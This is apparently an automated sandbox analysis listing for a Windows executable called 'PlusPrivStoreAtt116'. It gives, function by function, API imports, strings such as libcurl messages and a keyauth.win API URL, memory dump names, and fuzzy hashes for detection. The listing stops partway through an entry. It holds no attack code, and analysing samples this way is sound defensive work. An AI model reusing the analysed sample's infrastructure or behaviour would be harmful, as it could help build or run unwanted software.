Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF6029EC391
_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF6029EC3D0
WSAGetLastError.WS2_32 ref: 00007FF6029EC428

Strings

TFTP response timeout, xrefs: 00007FF6029EC3EA

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _time64$ErrorLast
String ID: TFTP response timeout
API String ID: 3339832089-3820788777
Opcode ID: 359a5eef5d2c32413f0da7aac13b68257feb1cf5314e86412ec95e4616813690
Instruction ID: 330d567c9458d6a5d6f7b40003adb0f50a051c948df4fb65c26f217168d725b3
Opcode Fuzzy Hash: 359a5eef5d2c32413f0da7aac13b68257feb1cf5314e86412ec95e4616813690
Instruction Fuzzy Hash: 5C418336608A4285EB619F26D4542B96B50FF89BA8F204232DE6DC77CAEFBCD4058740

Function 00007FF6029C6400 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 77fileCOMMON

Download Yara Rule

APIs

fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029C6525
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029C6540

Strings

..., xrefs: 00007FF6029C64A8
..., xrefs: 00007FF6029C6492

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: fwrite
String ID: ...$...
API String ID: 3559309478-2253869979
Opcode ID: 302b132ee88cad9bd6f6907226ec01a6f59867d5edaea7f1bdfe6eb2bdd96f98
Instruction ID: 09857895ca3e824b57d5eafb3ec5b385f54f4fd7fffcf70283f674cc5ffd5824
Opcode Fuzzy Hash: 302b132ee88cad9bd6f6907226ec01a6f59867d5edaea7f1bdfe6eb2bdd96f98
Instruction Fuzzy Hash: F631C022A1CA8181EB60CB12E4443B96BA1FF84B88FB08131CA5D837D5CF7DE155C780

Function 00007FF6029B4C23 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B4CB2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B4CCE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B4CEB

Strings

:, xrefs: 00007FF6029B4CA6

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdup
String ID: :
API String ID: 2653869212-336475711
Opcode ID: 7dcec4a726ea8073a370bbb44f4725043a0a7e1bd9836d11447dfc771c4226d4
Instruction ID: 1a2872d8a73c4f1bef17ec0055d7db5319b5d4944c87b162705636732ff09b17
Opcode Fuzzy Hash: 7dcec4a726ea8073a370bbb44f4725043a0a7e1bd9836d11447dfc771c4226d4
Instruction Fuzzy Hash: 33219222709B8685EB628F15E6503A97BA0FF44B98FA44131CF9D83796EF7CD450C750

Function 00007FF6029DE7F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

Strings

LIST "%s" *, xrefs: 00007FF6029DE877
%s%s, xrefs: 00007FF6029DE823

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: %s%s$LIST "%s" *
API String ID: 0-1744359683
Opcode ID: 85719f75dcdb96e6197976c791e40f2de33a90732eb886bb89f893e41dc579a2
Instruction ID: bb48e276d748dc2b1c5fcb93d0d22ca10c727c019eb11ca72c7ece3287f10f36
Opcode Fuzzy Hash: 85719f75dcdb96e6197976c791e40f2de33a90732eb886bb89f893e41dc579a2
Instruction Fuzzy Hash: 6D117F31F0874281EB15DB56E4801B96B60FF48BC8F684432DE4D9B756DFACE541D340

Function 00007FF6029D29A0 Relevance: 6.3, APIs: 5, Instructions: 82stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF6029D2A04
strchr.VCRUNTIME140 ref: 00007FF6029D2A17
strchr.VCRUNTIME140 ref: 00007FF6029D2A29
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D2A5B
memcpy.VCRUNTIME140 ref: 00007FF6029D2A85

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strchr$mallocmemcpy
String ID:
API String ID: 320687583-0
Opcode ID: e2d21262de4b7909a237c534343391991a6930e2b65d8f6e0f77b0b64d484383
Instruction ID: 9781c57a9fde9ffbd13a7f6b7d5ee54554e42f45068fa15ad308666afc9a5060
Opcode Fuzzy Hash: e2d21262de4b7909a237c534343391991a6930e2b65d8f6e0f77b0b64d484383
Instruction Fuzzy Hash: D421D411A0D69201FFA58B1392602B9ABD1DF45BCCF6C8171EE8D8B7C7EE6CE4469310

Function 00007FF6029F4BA0 Relevance: 6.3, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029F1635), ref: 00007FF6029F4BC6
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029F1635), ref: 00007FF6029F4BE7
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029F1635), ref: 00007FF6029F4C02
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029F1635), ref: 00007FF6029F4C10
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029F1635), ref: 00007FF6029F4C22

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2ccec22f818d614e78705a5ec82c81555469975f6029534154239fcb0ccdc8c7
Instruction ID: 621d457d7622d37d2db35ae1cee281bcfdd95289d041cf71e649e4e0f30b032a
Opcode Fuzzy Hash: 2ccec22f818d614e78705a5ec82c81555469975f6029534154239fcb0ccdc8c7
Instruction Fuzzy Hash: 2911C536A04B4682EB54DF26E9A022E77B4FF84F99B244435CE5E87725CF78D891C340

Function 00007FF6029FA4BF Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 132COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FA7CF

Strings

TRUE, xrefs: 00007FF6029FA7D9
GMT, xrefs: 00007FF6029FA56E
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00007FF6029FA5E1

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s$TRUE
API String ID: 1294909896-910067264
Opcode ID: 3a97b54dd8c20e641dcfa4d9801de4b2c1f4c98a54d6da2505f9c7397ccb92bd
Instruction ID: 595828cd94c54b236f7b9f63ed2d44fa89af206c258ac4294c71ee78d7bb920a
Opcode Fuzzy Hash: 3a97b54dd8c20e641dcfa4d9801de4b2c1f4c98a54d6da2505f9c7397ccb92bd
Instruction Fuzzy Hash: F451E362E4C69648EBE18B26A54427E7FA5EF0179CF644032EA4DD6B96DFBCE441C300

Function 00007FF6029F97D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 122COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F9B06

Strings

%s: %s, xrefs: 00007FF6029F9AF1
GMT, xrefs: 00007FF6029F988E
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00007FF6029F98FA

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %s: %s$ GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s
API String ID: 1294909896-2632828617
Opcode ID: 837cbaf7fcdd32052fcb9ee980a98d0f492b635fa62e58f140a762f412d0c416
Instruction ID: 980f1c033e71c81cecca9ccc6ca183dfe6c168c2f622451787036998ac049589
Opcode Fuzzy Hash: 837cbaf7fcdd32052fcb9ee980a98d0f492b635fa62e58f140a762f412d0c416
Instruction Fuzzy Hash: E241B461A4C79285FBE48B16A5443BABF94FF41B98F644031DA8D83B56CFBCE546C700

Function 00007FF6029AD590 Relevance: 6.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6029AD1A8), ref: 00007FF6029AD66E
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6029AD1A8), ref: 00007FF6029AD69C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6029AD1A8), ref: 00007FF6029AD705

Part of subcall function 00007FF6029FFB18: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,-3333333333333333,00007FF6029A43FE,7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF6029A1B59), ref: 00007FF6029FFB32

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6029AD712

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmallocmemcpymemset
String ID:
API String ID: 2942768764-0
Opcode ID: be577898cfb132f12a0948304b2fb9bc36eb211b7926233c65c7c8ef3fe3742e
Instruction ID: 7129b88a978442facbaf0b61ef0d9a3fa6022c5c82cfccfd7a60fc083adfc5b0
Opcode Fuzzy Hash: be577898cfb132f12a0948304b2fb9bc36eb211b7926233c65c7c8ef3fe3742e
Instruction Fuzzy Hash: C1419062B05B8585EF148F2AD04427D6B50FF44BA8F648635DA6D87BC6DFACE091C390

Function 00007FF6029B0790 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B0870
memcpy.VCRUNTIME140 ref: 00007FF6029B089D
memcpy.VCRUNTIME140 ref: 00007FF6029B08AC
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6029B08DE

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: b289941bc787ad963bcb9495ad2c5e3cafef7c1359faf9c99362ff32d762317a
Instruction ID: 943c8e87e58dfdf9ff61e6cfe3cc1098fa5c3f935b82379580767032a5af6c36
Opcode Fuzzy Hash: b289941bc787ad963bcb9495ad2c5e3cafef7c1359faf9c99362ff32d762317a
Instruction Fuzzy Hash: A731E521B09B4181EA61DB13A54426B6A90FF04BE8F244635DFAE87BD6DE7CD181C380

Function 00007FF6029FB140 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 105COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00007FF6029DD2EB), ref: 00007FF6029FB19E

Strings

%s, xrefs: 00007FF6029FB174

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %s
API String ID: 1294909896-3043279178
Opcode ID: 073ba612a2cbe85256b1cde721385677e7217a76d979108c03dc8feec761c9f4
Instruction ID: a27a7b3717c58c64efc12b317b647bb96300021bfa3ed4aa7e697fb8d50a5821
Opcode Fuzzy Hash: 073ba612a2cbe85256b1cde721385677e7217a76d979108c03dc8feec761c9f4
Instruction Fuzzy Hash: 78415432618B4582E790CF16F4501AE77A4FB94BA8F240535EF9E43B62DF78E491C300

Function 00007FF6029FB580 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,?,00007FF6029DEB30,?,?,?,?,?,?,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_,?), ref: 00007FF6029FB5D3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FB65C

Strings

%s, xrefs: 00007FF6029FB5A5

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %s
API String ID: 1294909896-3043279178
Opcode ID: ff90f14b9c377f659e10b31d5fbc85e538c30466ebb5cf373757226f49f20229
Instruction ID: e77cf594b63629959e7f258c0e50cccb23833e651c3e8d034a76933f86af10db
Opcode Fuzzy Hash: ff90f14b9c377f659e10b31d5fbc85e538c30466ebb5cf373757226f49f20229
Instruction Fuzzy Hash: DF415232A08B4582E651DF26F5501AAB7A4FF49BA8F244535DF8E47BA6DF7CE091C300

Function 00007FF6029B0A20 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6029B0AFF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B0B3C
memcpy.VCRUNTIME140 ref: 00007FF6029B0B46
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6029B0B79

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: ff507d46c410e9d9cdcf4b9eb39d48e974748f0d30041aa2655652cf5154f83c
Instruction ID: f9249c5ff2dc8a646c24e1ef1c3340fabc551c25bec191edb704a92bc737bfd8
Opcode Fuzzy Hash: ff507d46c410e9d9cdcf4b9eb39d48e974748f0d30041aa2655652cf5154f83c
Instruction Fuzzy Hash: CA311322B0978194EE119B13A6443AE6B91EF05BD8F684639DE5D47BC7DEBCE091C300

Function 00007FF6029FA405 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FA7CF

Strings

TRUE, xrefs: 00007FF6029FA7D9
%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00007FF6029FA4AB
GMT, xrefs: 00007FF6029FA459

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$GMT$TRUE
API String ID: 1294909896-918878739
Opcode ID: 5c811be7c639e6a817eeb1eaaef6f6908bb5a2a36ecbc2e96e5375d9d862ee5c
Instruction ID: 9414fad7927578bd3af2bc2c2393e56d1613e177922c286281e9131dcc9a9dcc
Opcode Fuzzy Hash: 5c811be7c639e6a817eeb1eaaef6f6908bb5a2a36ecbc2e96e5375d9d862ee5c
Instruction Fuzzy Hash: F931E222A48A8588EB91CF22D5402AA7B62FF44B98F644432EE4D83786CFBCE141C300

Function 00007FF6029E6ADD Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E6B14

Part of subcall function 00007FF6029C6400: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029C6525
Part of subcall function 00007FF6029C6400: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029C6540

Strings

Wildcard - START of "%s", xrefs: 00007FF6029E6B1D
Wildcard - "%s" skipped by user, xrefs: 00007FF6029E6B7D
%s%s, xrefs: 00007FF6029E6AE4

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: fwrite$free
String ID: %s%s$Wildcard - "%s" skipped by user$Wildcard - START of "%s"
API String ID: 3468156532-1133524294
Opcode ID: 731cc7035f99099314a47e223117183d5a1dbc052a3fec2f25bb9171d1e13b7d
Instruction ID: d72af5a8ae1968752d2cbeac57a73d5219d6b59ffeaa8d634f891f898083e3b9
Opcode Fuzzy Hash: 731cc7035f99099314a47e223117183d5a1dbc052a3fec2f25bb9171d1e13b7d
Instruction Fuzzy Hash: 8D413176A08A42C5EB10DF16D4441AD3B64FF54B89F654436DF4E8B396EEB9E441C300

Function 00007FF6029F9715 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F9B06

Strings

%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00007FF6029F97B9
%s: %s, xrefs: 00007FF6029F9AF1
GMT, xrefs: 00007FF6029F9769

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %s: %s$%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$GMT
API String ID: 1294909896-1153420294
Opcode ID: 979e85848d636c6c0b0c76a7e7eb724a988065f1e42c35c4c663c2ae8dca01c9
Instruction ID: 91bce7ceac75c22b9eac96a97c6048a2f5a17d9d0b6024c4a315dba1f6406c46
Opcode Fuzzy Hash: 979e85848d636c6c0b0c76a7e7eb724a988065f1e42c35c4c663c2ae8dca01c9
Instruction Fuzzy Hash: 4731B421A4CB8289FBE08F52E4407AA7B90FF45B88FB44431DA4D97646DFBCE645C300

Function 00007FF6029FA64D Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FA688
memcpy.VCRUNTIME140 ref: 00007FF6029FA6AE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FA7CF

Strings

TRUE, xrefs: 00007FF6029FA7D9

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
